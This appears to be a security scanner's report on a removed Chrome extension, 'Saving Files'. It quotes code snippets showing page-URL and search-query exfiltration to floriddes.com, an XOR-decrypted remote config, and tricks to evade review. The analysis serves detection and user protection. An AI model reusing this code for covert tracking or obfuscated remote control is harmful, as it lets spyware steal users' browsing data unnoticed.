Saving Files

ID: efppklondgabgcjblaffdbdgbdjnfkcn

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
1.3.6
Size
0.16 MB
Rating
3.0/5
Reviews
2
Users
20,000
Type
Extension
Updated
Jan 27, 2023
Category
Productivity Workflow
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
anniewelch976View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
0
Unlisted
1
Total Users
20,000

Saving Files is a new file downloader extension with ability to automatically load all files (images, audio, video, other assets)…

Saving Files is a new file downloader extension with ability to automatically load all files (images, audio, video, other assets) from a webpage. This extension has some useful functions that will make you life easier. When clicking on the extension’s icon on the tool bar- you’ll have a button that will provide an option to open a page with all your downloads and have the ability to manage all your downloads with various categories. Clicking the second button will provide you the opportunity to download the files exist on the specific website you using at the moment. You will get tabs sorted by files categories such as Images, Videos, Document and Other file types. It’s not the end- then you’ll have the option to download chosen file or download them all! We wish you to have a great experience with our extension and leave us a 5 stars review!

Item
Type
Severity
Description
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
https://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
downloads
Permission
High
This permission controls file downloads and accesses download history. Rated High because it can download malicious files, access sensitive downloaded documents, and track user download patterns.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
notifications
Permission
Low
This permission displays system notifications. Rated Low because it can only show user-visible notifications without accessing system data.

On every chrome.tabs.onActivated event the service worker beacons to a hard-coded remote endpoint at floriddes.com/apiv2/, sending serialized key=value pairs (including the user identifier `i` from chrome.storage.sync). The response body is then persisted as `aFd` in chrome.storage.local (line 1052) and later decrypted by the content script at runtime — a classic command-and-control / dynamic payload retrieval pattern.

background.js (Line 738)
const c = await fetch(e, ((e, t = null) => {    ...    const a = {      mode: "cors",      cache: "no-store"    };    ...    if (a.method = e, t && "object" == typeof t) {      ...      a.headers = {        "content-type": "application/json"      };      ...    }    return !1  }})("https://floriddes.com/apiv2/?" + T.map((e => e.join("=")))  .join("&"));

The content script (injected at document_start into every https://*/* and http://*/* page) exfiltrates the visited page's full URL (`r.href`) and the parsed search query (`Z`) to the remote endpoint base `e = "https://floriddes.com"`, tagged with the persistent user id `l`. This is browsing-history and search-query exfiltration on every page load, on every site.

content.js (Line 1875)
t(z, e + "?user=" + l + "&q=" + encodeURIComponent(Z) + "&u=" + encodeURIComponent(r.href));

Second exfiltration call site: extracts the value of an arbitrary URL query parameter (`ae`) from the current page's location.search and ships it together with the full URL and user id to floriddes.com. The parameter name `x[ee]` is driven by the encrypted server-controlled config (`aFd`), so the C2 operator decides which query parameter to harvest from any visited site (e.g., affiliate IDs, referral tokens, or potentially auth tokens passed in URLs).

content.js (Line 2251)
t(z, e + "?user=" + l + "&" + x[ee] + "=" + encodeURIComponent(ae) + "&u=" + encodeURIComponent(r.href));

Custom hex+XOR decryption routine that takes the user-id `l` (from chrome.storage.sync) as the key and the server-supplied blob `aFd` (`D`, fetched from floriddes.com and stored in chrome.storage.local) as ciphertext, decrypts it, and JSON.parses the result into `T` which then drives all downstream content-script behavior (which sites to hit, which params to read, which keywords to react to). This is remote-controlled behavior loading via a custom obfuscated channel — server-side configuration that updates without an extension update.

content.js (Line 404)
try {  T = JSON.parse(((e, t) => {    ...    let a = "";    ...    for (; e.length < t.length / 2;) {      ...e += e    }    ...    for (let Y = 0; Y < t.length; Y += 2) {      ...      const m = t.substring(Y, Y + 2),        y = parseInt(m, 16);      ...      const f = y ^ e.charCodeAt(Y / 2);      ...      a += String.fromCharCode(f)    }    ...    return a.toString()  })(l, D))} catch (N) {  chrome.storage.local.remove(D);

The extension binds the user's persistent identifier (`a`, the `Add` value from chrome.storage.local) to install and uninstall pings sent to floriddes.com. Combined with the per-tab beacon, this builds a long-lived per-user fingerprint server-side and tracks install/uninstall lifecycle — unauthorized telemetry/tracking unrelated to the stated purpose ('Saving Files').

background.js (Line 1761)
chrome.runtime.setUninstallURL(D("https://floriddes.com/apiv2/uninstall", a));...if (e === chrome.runtime.OnInstalledReason.INSTALL) {  ...  chrome.tabs.create({    url: D("https://floriddes.com/apiv2/thanks", a)  });}

The network sender resolves the function to invoke (e.g., `fetch`/`navigator.sendBeacon`/`Image`) by walking an array of property names against `window` rather than referencing it literally, then invokes it via `.call`. This indirection is a deliberate static-analysis evasion technique: the strings 'fetch' / 'XMLHttpRequest' / 'sendBeacon' never appear literally in the content script even though network calls are clearly being made (lines 1875, 2251).

content.js (Line 122)
let a = window;...let D = window;...t.forEach((e => {  ...  const t = D[e];  D = "function" != typeof t ? t : D,  a = t;  ...}));...if (!a || !D) {  ...  return !1}return D.call(a, [t])};

Both background.js (1902 lines) and content.js (2340 lines) are padded with thousands of identical dead-code blocks gated by `if (Date.now() < Math.random())` (always false since Math.random() < 1 ≤ Date.now()), wrapped in empty try/catch. This adds no functionality; it exists purely to inflate the bundle, fragment the real logic across the file, and frustrate manual review and signature-based detection — a hallmark of malware obfuscation, not a legitimate build artifact.

background.js (Line 3)
try {  if (Date.now() < Math.random()) {    function g(e) {      (e = new Date(Date.UTC(e.getFullYear(), e.getMonth(), e.getDate())))      .setUTCDate(e.getUTCDate() + 4 - (e.getUTCDay() || 7));      var t = new Date(Date.UTC(e.getUTCFullYear(), 0, 1)),        a = Math.ceil(((e - t) / 864e5 + 1) / 7);      return [e.getUTCFullYear(), a]    }    let r = new Date,      T = new Date(r.getFullYear(), 0, 1);    Math.ceil(((r.getTime() - T.getTime()) / 864e5 + T.getDay() + 1) / 7), g(new Date)  }} catch (U) {}

This is the only code that actually corresponds to the extension's stated purpose ('Saving Files') — accepting a list of URLs from a message and downloading them. It is dwarfed by the surrounding tracking/exfiltration/remote-config plumbing, which strongly suggests the file-download feature is a lure for a tracking/affiliate-injection payload. Noted for context rather than as malicious in itself.

background.js (Line 1882)
chrome.runtime.onMessage.addListener(((e, t, a) => ((async (e, t, a) => {    const {      action: D,      filesToDownload: l    } = e;    "DOWNLOAD_FILES_ACTION" === D && (a(!0), n += l.length, await Promise.allSettled(l.map((e =>      new Promise((t => chrome.downloads.download({        url: e      }, (e => t(e)))))))))  })(e, 0, a), !0))), chrome.downloads.onChanged.addListener((async e => {

By severity

Critical4
High3
Medium0
Low1

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.3.68

Files with findings

2 distinct paths — top paths by unique finding count:

  • background.js4
  • content.js4
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
content.js (line 1875)The content script (injected at document_start into every https://*/* and http://*/* page) exfiltrates the visited page's full URL (`r.href`) and the parsed search query (`Z`) to the remote endpoint base `e = "https:/…
2Data Exfiltration
critical
content.js (line 2251)Second exfiltration call site: extracts the value of an arbitrary URL query parameter (`ae`) from the current page's location.search and ships it together with the full URL and user id to floriddes.com. The parameter …
3Remote Code Loading
critical
background.js (line 738)On every chrome.tabs.onActivated event the service worker beacons to a hard-coded remote endpoint at floriddes.com/apiv2/, sending serialized key=value pairs (including the user identifier `i` from chrome.storage.sync…
4Remote Code Loading
critical
content.js (line 404)Custom hex+XOR decryption routine that takes the user-id `l` (from chrome.storage.sync) as the key and the server-supplied blob `aFd` (`D`, fetched from floriddes.com and stored in chrome.storage.local) as ciphertext,…
5Obfuscation
high
content.js (line 122)The network sender resolves the function to invoke (e.g., `fetch`/`navigator.sendBeacon`/`Image`) by walking an array of property names against `window` rather than referencing it literally, then invokes it via `.call…
6Obfuscation
high
background.js (line 3)Both background.js (1902 lines) and content.js (2340 lines) are padded with thousands of identical dead-code blocks gated by `if (Date.now() < Math.random())` (always false since Math.random() < 1 ≤ Date.now()), wrapp…
7Tracking
high
background.js (line 1761)The extension binds the user's persistent identifier (`a`, the `Add` value from chrome.storage.local) to install and uninstall pings sent to floriddes.com. Combined with the per-tab beacon, this builds a long-lived pe…
8Other
low
background.js (line 1882)This is the only code that actually corresponds to the extension's stated purpose ('Saving Files') — accepting a list of URLs from a message and downloading them. It is dwarfed by the surrounding tracking/exfiltration…
URLs
19
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

floriddes.com/apiv2/https://floriddes.com/apiv2/?
floriddes.com/apiv2/uninstallhttps://floriddes.com/apiv2/uninstall
floriddes.com/apiv2/thankshttps://floriddes.com/apiv2/thanks
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
*/*https://*/*
*/*http://*/*
floriddes.com-https://floriddes.com
reactjs.org/link/react-polyfillshttps://reactjs.org/link/react-polyfills
reactjs.org/docs/error-decoder.htmlhttps://reactjs.org/docs/error-decoder.html?invariant=
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

4.4.9.9
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
1.3.6
Latest
0.16 MB
Malicious
8
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.